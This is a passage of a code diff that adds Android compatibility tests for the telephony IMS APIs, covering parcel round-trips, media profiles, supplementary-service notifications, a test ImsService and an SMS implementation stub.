+        ImsSsInfo testInfo = unparceledData.getSuppServiceInfo().get(0);
+        assertEquals(info.getIncomingCommunicationBarringNumber(),
+                testInfo.getIncomingCommunicationBarringNumber());
+        assertEquals(info.getProvisionStatus(), testInfo.getProvisionStatus());
+        assertEquals(info.getClirInterrogationStatus(), testInfo.getClirInterrogationStatus());
+        assertEquals(info.getClirOutgoingState(), testInfo.getClirOutgoingState());
+    }
+
+    /**
+     * Passing in Object here instead of ImsSsData because this may be run on devices where
+     * ImsSsData does not exist.
+     */
+    private Object parcelUnparcel(Object dataObj) {
+        ImsSsData data = (ImsSsData) dataObj;
+        Parcel parcel = Parcel.obtain();
+        data.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        ImsSsData unparceledData = ImsSsData.CREATOR.createFromParcel(parcel);
+        parcel.recycle();
+        return unparceledData;
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsSsInfoTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsSsInfoTest.java
new file mode 100644
index 0000000..1309955
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsSsInfoTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.os.Parcel;
+import android.telephony.ims.ImsSsInfo;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class ImsSsInfoTest {
+
+    @Test
+    public void testParcelUnparcel() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsSsInfo data = new ImsSsInfo(ImsSsInfo.ENABLED, "123");
+
+        Parcel parcel = Parcel.obtain();
+        data.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        ImsSsInfo unparceledData = ImsSsInfo.CREATOR.createFromParcel(parcel);
+        parcel.recycle();
+
+        assertEquals(data.getStatus(), unparceledData.getStatus());
+        assertEquals(data.getIcbNum(), unparceledData.getIcbNum());
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsStreamMediaProfileTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsStreamMediaProfileTest.java
new file mode 100644
index 0000000..2fe2307
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsStreamMediaProfileTest.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.os.Parcel;
+import android.telephony.ims.ImsStreamMediaProfile;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class ImsStreamMediaProfileTest {
+
+    @Test
+    public void testParcelUnparcel() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsStreamMediaProfile data = new ImsStreamMediaProfile(
+                ImsStreamMediaProfile.AUDIO_QUALITY_AMR_WB,
+                ImsStreamMediaProfile.DIRECTION_SEND_RECEIVE,
+                ImsStreamMediaProfile.VIDEO_QUALITY_QCIF,
+                ImsStreamMediaProfile.DIRECTION_RECEIVE,
+                ImsStreamMediaProfile.RTT_MODE_FULL);
+
+        ImsStreamMediaProfile unparceledData = (ImsStreamMediaProfile) parcelUnparcel(data);
+
+        assertEquals(data.getAudioDirection(), unparceledData.getAudioDirection());
+        assertEquals(data.getAudioQuality(), unparceledData.getAudioQuality());
+        assertEquals(data.getRttMode(), unparceledData.getRttMode());
+        assertEquals(data.getVideoDirection(), unparceledData.getVideoDirection());
+        assertEquals(data.getVideoQuality(), unparceledData.getVideoQuality());
+    }
+
+    @Test
+    public void testCopyFrom() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsStreamMediaProfile data = new ImsStreamMediaProfile(
+                ImsStreamMediaProfile.AUDIO_QUALITY_AMR_WB,
+                ImsStreamMediaProfile.DIRECTION_SEND_RECEIVE,
+                ImsStreamMediaProfile.VIDEO_QUALITY_QCIF,
+                ImsStreamMediaProfile.DIRECTION_RECEIVE,
+                ImsStreamMediaProfile.RTT_MODE_FULL);
+
+        ImsStreamMediaProfile copiedData = new ImsStreamMediaProfile(0, 0, 0, 0, 0);
+        copiedData.copyFrom(data);
+
+        assertEquals(data.getAudioDirection(), copiedData.getAudioDirection());
+        assertEquals(data.getAudioQuality(), copiedData.getAudioQuality());
+        assertEquals(data.getRttMode(), copiedData.getRttMode());
+        assertEquals(data.getVideoDirection(), copiedData.getVideoDirection());
+        assertEquals(data.getVideoQuality(), copiedData.getVideoQuality());
+    }
+
+    @Test
+    public void testSetRttMode() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsStreamMediaProfile data = new ImsStreamMediaProfile(
+                ImsStreamMediaProfile.AUDIO_QUALITY_AMR_WB,
+                ImsStreamMediaProfile.DIRECTION_SEND_RECEIVE,
+                ImsStreamMediaProfile.VIDEO_QUALITY_QCIF,
+                ImsStreamMediaProfile.DIRECTION_RECEIVE,
+                ImsStreamMediaProfile.RTT_MODE_FULL);
+        assertTrue(data.isRttCall());
+
+        data.setRttMode(ImsStreamMediaProfile.RTT_MODE_DISABLED);
+        assertFalse(data.isRttCall());
+    }
+
+    @Test
+    public void testReceivingRttAudio() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsStreamMediaProfile data = new ImsStreamMediaProfile(
+                ImsStreamMediaProfile.AUDIO_QUALITY_AMR_WB,
+                ImsStreamMediaProfile.DIRECTION_SEND_RECEIVE,
+                ImsStreamMediaProfile.VIDEO_QUALITY_QCIF,
+                ImsStreamMediaProfile.DIRECTION_RECEIVE,
+                ImsStreamMediaProfile.RTT_MODE_FULL);
+
+        data.setReceivingRttAudio(true);
+
+        ImsStreamMediaProfile unparceled = (ImsStreamMediaProfile) parcelUnparcel(data);
+
+        assertTrue(unparceled.isReceivingRttAudio());
+    }
+
+    public Object parcelUnparcel(Object dataObj) {
+        ImsStreamMediaProfile data = (ImsStreamMediaProfile) dataObj;
+        Parcel parcel = Parcel.obtain();
+        data.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        ImsStreamMediaProfile unparceledData =
+                ImsStreamMediaProfile.CREATOR.createFromParcel(parcel);
+        parcel.recycle();
+        return unparceledData;
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsSuppServiceNotificationTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsSuppServiceNotificationTest.java
new file mode 100644
index 0000000..7cc1a29
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsSuppServiceNotificationTest.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.os.Parcel;
+import android.telephony.ims.ImsSuppServiceNotification;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class ImsSuppServiceNotificationTest {
+
+    @Test
+    public void testParcelUnparcel() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        String[] dataHistory = new String[]{"123", "456"};
+        ImsSuppServiceNotification data = new ImsSuppServiceNotification(1, 1, 1, 1, "5551212",
+                dataHistory);
+
+        Parcel parcel = Parcel.obtain();
+        data.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        ImsSuppServiceNotification unparceledData =
+                ImsSuppServiceNotification.CREATOR.createFromParcel(parcel);
+        parcel.recycle();
+
+        assertEquals(data.notificationType, unparceledData.notificationType);
+        assertEquals(data.code, unparceledData.code);
+        assertEquals(data.index, unparceledData.index);
+        assertEquals(data.type, unparceledData.type);
+        assertEquals(data.number, unparceledData.number);
+
+        assertNotNull(unparceledData.history);
+        for (int i = 0; i < dataHistory.length; i++) {
+            assertEquals(data.history[i], unparceledData.history[i]);
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
new file mode 100644
index 0000000..6562d01
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.service.carrier.CarrierService;
+import android.telephony.SubscriptionInfo;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import java.util.List;
+import java.util.concurrent.Callable;
+
+public class ImsUtils {
+    public static final boolean VDBG = false;
+
+    // ImsService rebind has an exponential backoff capping at 64 seconds. Wait for 70 seconds to
+    // allow for the new poll to happen in the framework.
+    public static final int TEST_TIMEOUT_MS = 70000;
+
+    public static boolean shouldTestImsService() {
+        final PackageManager pm = InstrumentationRegistry.getInstrumentation().getContext()
+                .getPackageManager();
+        boolean hasTelephony = pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+        boolean hasIms = pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY_IMS);
+        return hasTelephony && hasIms;
+    }
+
+    public static int getPreferredActiveSubId() {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        int defaultSubId = SubscriptionManager.getDefaultVoiceSubscriptionId();
+        if (defaultSubId != SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
+            return defaultSubId;
+        }
+        // Couldn't resolve a default. We can try to resolve a default using the active
+        // subscriptions.
+        SubscriptionManager sm = (SubscriptionManager) context.getSystemService(
+                Context.TELEPHONY_SUBSCRIPTION_SERVICE);
+        List<SubscriptionInfo> infos = ShellIdentityUtils.invokeMethodWithShellPermissions(sm,
+                SubscriptionManager::getActiveSubscriptionInfoList);
+        if (!infos.isEmpty()) {
+            return infos.get(0).getSubscriptionId();
+        }
+        // The best we can do is fall back to any default set. If it fails, notify the tester
+        // that there must be a default set.
+        return SubscriptionManager.getDefaultSubscriptionId();
+    }
+
+    /**
+     * If a carrier app implements CarrierMessagingService it can choose to take care of handling
+     * SMS OTT so SMS over IMS APIs won't be triggered which would be WAI so we do not run the tests
+     * if there exist a carrier app that declares a CarrierMessagingService
+     */
+    public static boolean shouldRunSmsImsTests(int subId) {
+        if (!shouldTestImsService()) {
+            return false;
+        }
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        TelephonyManager tm =
+                (TelephonyManager) InstrumentationRegistry.getInstrumentation().getContext()
+                        .getSystemService(Context.TELEPHONY_SERVICE);
+        tm = tm.createForSubscriptionId(subId);
+        List<String> carrierPackages = tm.getCarrierPackageNamesForIntent(
+                new Intent(CarrierService.CARRIER_SERVICE_INTERFACE));
+
+        if (carrierPackages == null || carrierPackages.size() == 0) {
+            return true;
+        }
+        final PackageManager packageManager = context.getPackageManager();
+        Intent intent = new Intent("android.service.carrier.CarrierMessagingService");
+        List<ResolveInfo> resolveInfos = packageManager.queryIntentServices(intent, 0);
+        for (ResolveInfo info : resolveInfos) {
+            if (carrierPackages.contains(info.serviceInfo.packageName)) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    /**
+     * Retry every 5 seconds until the condition is true or fail after TEST_TIMEOUT_MS seconds.
+     */
+    public static boolean retryUntilTrue(Callable<Boolean> condition) throws Exception {
+        int retryCounter = 0;
+        while (retryCounter < (TEST_TIMEOUT_MS / 5000)) {
+            try {
+                Boolean isSuccessful = condition.call();
+                isSuccessful = (isSuccessful == null) ? false : isSuccessful;
+                if (isSuccessful) return true;
+            } catch (Exception e) {
+                // we will retry
+            }
+            Thread.sleep(5000);
+            retryCounter++;
+        }
+        return false;
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java
new file mode 100644
index 0000000..325ec59
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.telephony.ims.stub.ImsConfigImplBase;
+
+import java.util.HashMap;
+
+public class TestImsConfig extends ImsConfigImplBase {
+
+    private HashMap<Integer, Integer> mIntHashMap = new HashMap<>();
+    private HashMap<Integer, String> mStringHashMap = new HashMap<>();
+
+    @Override
+    public int setConfig(int item, int value) {
+        mIntHashMap.put(item, value);
+        return ImsConfigImplBase.CONFIG_RESULT_SUCCESS;
+    }
+
+    @Override
+    public int setConfig(int item, String value) {
+        mStringHashMap.put(item, value);
+        return ImsConfigImplBase.CONFIG_RESULT_SUCCESS;
+    }
+
+    @Override
+    public int getConfigInt(int item) {
+        Integer result = mIntHashMap.get(item);
+        return result != null ? result : ImsConfigImplBase.CONFIG_RESULT_UNKNOWN;
+    }
+
+    @Override
+    public String getConfigString(int item) {
+        return mStringHashMap.get(item);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
new file mode 100644
index 0000000..c793d00
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
@@ -0,0 +1,302 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Binder;
+import android.os.IBinder;
+import android.telephony.ims.ImsService;
+import android.telephony.ims.feature.MmTelFeature;
+import android.telephony.ims.feature.RcsFeature;
+import android.telephony.ims.stub.ImsConfigImplBase;
+import android.telephony.ims.stub.ImsFeatureConfiguration;
+import android.telephony.ims.stub.ImsRegistrationImplBase;
+import android.util.Log;
+
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * A Test ImsService that will verify ImsService functionality.
+ */
+public class TestImsService extends Service {
+
+    private static final String TAG = "GtsImsTestImsService";
+
+    private static ImsRegistrationImplBase sImsRegistrationImplBase = new ImsRegistrationImplBase();
+
+    private TestRcsFeature mTestRcsFeature;
+    private TestMmTelFeature mTestMmTelFeature;
+    private TestImsConfig mTestImsConfig;
+    private ImsService mTestImsService;
+    private boolean mIsEnabled = false;
+    private ImsFeatureConfiguration mFeatureConfig;
+    private final Object mLock = new Object();
+
+    public static final int LATCH_FEATURES_READY = 0;
+    public static final int LATCH_ENABLE_IMS = 1;
+    public static final int LATCH_DISABLE_IMS = 2;
+    public static final int LATCH_CREATE_MMTEL = 3;
+    public static final int LATCH_CREATE_RCS = 4;
+    public static final int LATCH_REMOVE_MMTEL = 5;
+    public static final int LATCH_REMOVE_RCS = 6;
+    public static final int LATCH_MMTEL_READY = 7;
+    public static final int LATCH_RCS_READY = 8;
+    public static final int LATCH_MMTEL_CAP_SET = 9;
+    public static final int LATCH_RCS_CAP_SET = 10;
+    private static final int LATCH_MAX = 11;
+    protected static final CountDownLatch[] sLatches = new CountDownLatch[LATCH_MAX];
+    static {
+        for (int i = 0; i < LATCH_MAX; i++) {
+            sLatches[i] = new CountDownLatch(1);
+        }
+    }
+
+    interface RemovedListener {
+        void onRemoved();
+    }
+    interface ReadyListener {
+        void onReady();
+    }
+    interface CapabilitiesSetListener {
+        void onSet();
+    }
+
+    // This is defined here instead TestImsService extending ImsService directly because the GTS
+    // tests were failing to run on pre-P devices. Not sure why, but TestImsService is loaded
+    // even if it isn't used.
+    private class ImsServiceUT extends ImsService {
+
+        ImsServiceUT(Context context) {
+            // As explained above, ImsServiceUT is created in order to get around classloader
+            // restrictions. Attach the base context from the wrapper ImsService.
+            if (getBaseContext() == null) {
+                attachBaseContext(context);
+            }
+            mTestImsConfig = new TestImsConfig();
+        }
+
+        @Override
+        public ImsFeatureConfiguration querySupportedImsFeatures() {
+            return getFeatureConfig();
+        }
+
+        @Override
+        public void readyForFeatureCreation() {
+            synchronized (mLock) {
+                countDownLatch(LATCH_FEATURES_READY);
+            }
+        }
+
+        @Override
+        public void enableIms(int slotId) {
+            synchronized (mLock) {
+                countDownLatch(LATCH_ENABLE_IMS);
+                setIsEnabled(true);
+            }
+        }
+
+        @Override
+        public void disableIms(int slotId) {
+            synchronized (mLock) {
+                countDownLatch(LATCH_DISABLE_IMS);
+                setIsEnabled(false);
+            }
+        }
+
+        @Override
+        public RcsFeature createRcsFeature(int slotId) {
+            synchronized (mLock) {
+                countDownLatch(LATCH_CREATE_RCS);
+                mTestRcsFeature = new TestRcsFeature(
+                        //onReady
+                        () -> {
+                            synchronized (mLock) {
+                                countDownLatch(LATCH_RCS_READY);
+                            }
+                        },
+                        //onRemoved
+                        () -> {
+                            synchronized (mLock) {
+                                countDownLatch(LATCH_REMOVE_RCS);
+                                mTestRcsFeature = null;
+                            }
+                        },
+                        //onCapabilitiesSet
+                        () -> {
+                            synchronized (mLock) {
+                                countDownLatch(LATCH_RCS_CAP_SET);
+                            }
+                        }
+                        );
+                return mTestRcsFeature;
+            }
+        }
+
+        @Override
+        public ImsConfigImplBase getConfig(int slotId) {
+            return mTestImsConfig;
+        }
+
+        @Override
+        public MmTelFeature createMmTelFeature(int slotId) {
+            synchronized (mLock) {
+                countDownLatch(LATCH_CREATE_MMTEL);
+                mTestMmTelFeature = new TestMmTelFeature(
+                        //onReady
+                        () -> {
+                            synchronized (mLock) {
+                                countDownLatch(LATCH_MMTEL_READY);
+                            }
+                        },
+                        //onRemoved
+                        () -> {
+                            synchronized (mLock) {
+                                countDownLatch(LATCH_REMOVE_MMTEL);
+                                mTestMmTelFeature = null;
+                            }
+                        },
+                        //onCapabilitiesSet
+                        () -> {
+                            synchronized (mLock) {
+                                countDownLatch(LATCH_MMTEL_CAP_SET);
+                            }
+                        }
+                        );
+                return mTestMmTelFeature;
+            }
+        }
+
+        @Override
+        public ImsRegistrationImplBase getRegistration(int slotId) {
+            return sImsRegistrationImplBase;
+        }
+    }
+
+    private final LocalBinder mBinder = new LocalBinder();
+    // For local access of this Service.
+    class LocalBinder extends Binder {
+        TestImsService getService() {
+            return TestImsService.this;
+        }
+    }
+
+    ImsService getImsService() {
+        synchronized (mLock) {
+            if (mTestImsService != null) {
+                return mTestImsService;
+            }
+            mTestImsService = new ImsServiceUT(this);
+            return mTestImsService;
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        if ("android.telephony.ims.ImsService".equals(intent.getAction())) {
+            if (ImsUtils.VDBG) {
+                Log.d(TAG, "onBind-Remote");
+            }
+            return getImsService().onBind(intent);
+        }
+        if (ImsUtils.VDBG) {
+            Log.i(TAG, "onBind-Local");
+        }
+        return mBinder;
+    }
+
+    public void resetState() {
+        synchronized (mLock) {
+            mTestMmTelFeature = null;
+            mTestRcsFeature = null;
+            mIsEnabled = false;
+            for (int i = 0; i < LATCH_MAX; i++) {
+                sLatches[i] = new CountDownLatch(1);
+            }
+        }
+    }
+
+    // Sets the feature configuration. Make sure to call this before initiating Bind to this
+    // ImsService.
+    public void setFeatureConfig(ImsFeatureConfiguration f) {
+        synchronized (mLock) {
+            mFeatureConfig = f;
+        }
+    }
+
+    public ImsFeatureConfiguration getFeatureConfig() {
+        synchronized (mLock) {
+            return mFeatureConfig;
+        }
+    }
+
+    public boolean isEnabled() {
+        synchronized (mLock) {
+            return mIsEnabled;
+        }
+    }
+
+    public void setIsEnabled(boolean isEnabled) {
+        synchronized (mLock) {
+            mIsEnabled = isEnabled;
+        }
+    }
+
+    public boolean waitForLatchCountdown(int latchIndex) {
+        boolean complete = false;
+        try {
+            CountDownLatch latch;
+            synchronized (mLock) {
+                latch = sLatches[latchIndex];
+            }
+            complete = latch.await(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            // complete == false
+        }
+        synchronized (mLock) {
+            sLatches[latchIndex] = new CountDownLatch(1);
+        }
+        return complete;
+    }
+
+    public void countDownLatch(int latchIndex) {
+        synchronized (mLock) {
+            sLatches[latchIndex].countDown();
+        }
+    }
+
+    public TestMmTelFeature getMmTelFeature() {
+        synchronized (mLock) {
+            return mTestMmTelFeature;
+        }
+    }
+
+    public TestRcsFeature getRcsFeature() {
+        synchronized (mLock) {
+            return mTestRcsFeature;
+        }
+    }
+
+    public ImsRegistrationImplBase getImsRegistration() {
+        synchronized (mLock) {
+            return sImsRegistrationImplBase;
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsSmsImpl.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsSmsImpl.java
new file mode 100644
index 0000000..462cad3
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsSmsImpl.java
@@ -0,0 +1,180 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assert.assertEquals;
+
+import android.telephony.SmsManager;
+import android.telephony.SmsMessage;
+import android.telephony.ims.stub.ImsSmsImplBase;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class TestImsSmsImpl extends ImsSmsImplBase {
+    private static final String TAG = "CtsTestImsService";
+
+    private CountDownLatch mSentTriggeredLatch = new CountDownLatch(1);
+    private CountDownLatch mOnReadyLatch = new CountDownLatch(1);
+    private CountDownLatch mAckDeliveryLatch = new CountDownLatch(1);
+    private CountDownLatch mSmsAckLatch = new CountDownLatch(1);
+    // Expecting only one message at a time
+    public byte[] sentPdu;
+    private int mToken;
+    private int mMessageRef;
+    private int mResult;
+
+    @Override
+    public void sendSms(int token, int messageRef, String format, String smsc, boolean isRetry,
+            byte[] pdu) {
+        if (ImsUtils.VDBG) {
+            Log.d(TAG, "ImsSmsImplBase.sendSms called");
+        }
+        sentPdu = pdu;
+        mToken = token;
+        mMessageRef = messageRef;
+
+        mSentTriggeredLatch.countDown();
+    }
+
+    @Override
+    public String getSmsFormat() {
+        return SmsMessage.FORMAT_3GPP;
+    }
+
+    @Override
+    public void onReady() {
+        if (ImsUtils.VDBG) {
+            Log.d(TAG, "ImsSmsImplBase.onReady called");
+        }
+        mOnReadyLatch.countDown();
+
+    }
+
+    @Override
+    public void acknowledgeSms(int token, int messageRef, int result) {
+        mToken = token;
+        mMessageRef = messageRef;
+        mResult = result;
+        mSmsAckLatch.countDown();
+    }
+
+    @Override
+    public void acknowledgeSmsReport(int token, int messageRef, int result) {
+        mToken = token;
+        mMessageRef = messageRef;
+        mResult = result;
+        mAckDeliveryLatch.countDown();
+    }
+
+    public void receiveSmsWaitForAcknowledge(int token, String format, byte[] pdu) {
+        onSmsReceived(token, format, pdu);
+        boolean complete = false;
+        try {
+            complete = mSmsAckLatch.await(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            // complete == false
+        }
+
+        assertTrue("Timed out waiting for acknowledgeSms.", complete);
+        assertEquals("Token mismatch.", token, mToken);
+        assertTrue("Invalid messageRef", mMessageRef >= 0);
+        assertEquals("Invalid result in acknowledgeSms.", DELIVER_STATUS_OK, mResult);
+    }
+
+    public void sendReportWaitForAcknowledgeSmsReportR(int token, String format, byte[] pdu) {
+        onSmsStatusReportReceived(token, format, pdu);
+        boolean complete = false;
+        try {
+            complete = mAckDeliveryLatch.await(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            // complete = false
+        }
+        assertTrue("Timed out waiting for delivery report.", complete);
+        assertEquals("Ttoken mismatch.", token, mToken);
+        assertEquals("Status mismatch.", STATUS_REPORT_STATUS_OK, mResult);
+    }
+
+
+    // Deprecated method for P and Q, where mToken is expected to be the framework token
+    public void sendReportWaitForAcknowledgeSmsReportPQ(int messageRef, String format,
+            byte[] pdu) {
+        onSmsStatusReportReceived(mToken, messageRef, format, pdu);
+        boolean complete = false;
+        try {
+            complete = mAckDeliveryLatch.await(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            // complete = false
+        }
+        assertTrue("Timed out waiting for delivery report.", complete);
+        assertEquals("MessageRef mismatch.", messageRef, mMessageRef);
+        assertEquals("Status mismatch.", STATUS_REPORT_STATUS_OK, mResult);
+    }
+
+    // P-Q API
+    public boolean waitForMessageSentLatch() {
+        boolean complete = false;
+        try {
+            complete = mSentTriggeredLatch.await(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+            onSendSmsResult(mToken, mMessageRef, ImsSmsImplBase.SEND_STATUS_OK,
+                    SmsManager.RESULT_ERROR_NONE);
+        } catch (InterruptedException e) {
+            // complete = false
+        }
+        return complete;
+    }
+
+    // R+ API
+    public boolean waitForMessageSentLatchSuccess() {
+        boolean complete = false;
+        try {
+            complete = mSentTriggeredLatch.await(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+            onSendSmsResultSuccess(mToken, mMessageRef);
+        } catch (InterruptedException e) {
+            // complete = false
+        }
+        return complete;
+    }
+
+    // R+ API
+    public boolean waitForMessageSentLatchError(int resultCode, int networkErrorCode) {
+        boolean complete = false;
+        try {
+            complete = mSentTriggeredLatch.await(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+            onSendSmsResultError(mToken, mMessageRef, ImsSmsImplBase.SEND_STATUS_ERROR,
+                        resultCode, networkErrorCode);
+        } catch (InterruptedException e) {
+            // complete = false
+        }
+        return complete;
+    }
+
+    public boolean waitForOnReadyLatch() {
+        boolean complete = false;
+        try {
+            complete = mOnReadyLatch.await(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            // complete = false
+        }
+
+        return complete;
+    }
+
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestMmTelFeature.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestMmTelFeature.java
new file mode 100644
index 0000000..13706f8
--- /dev/null
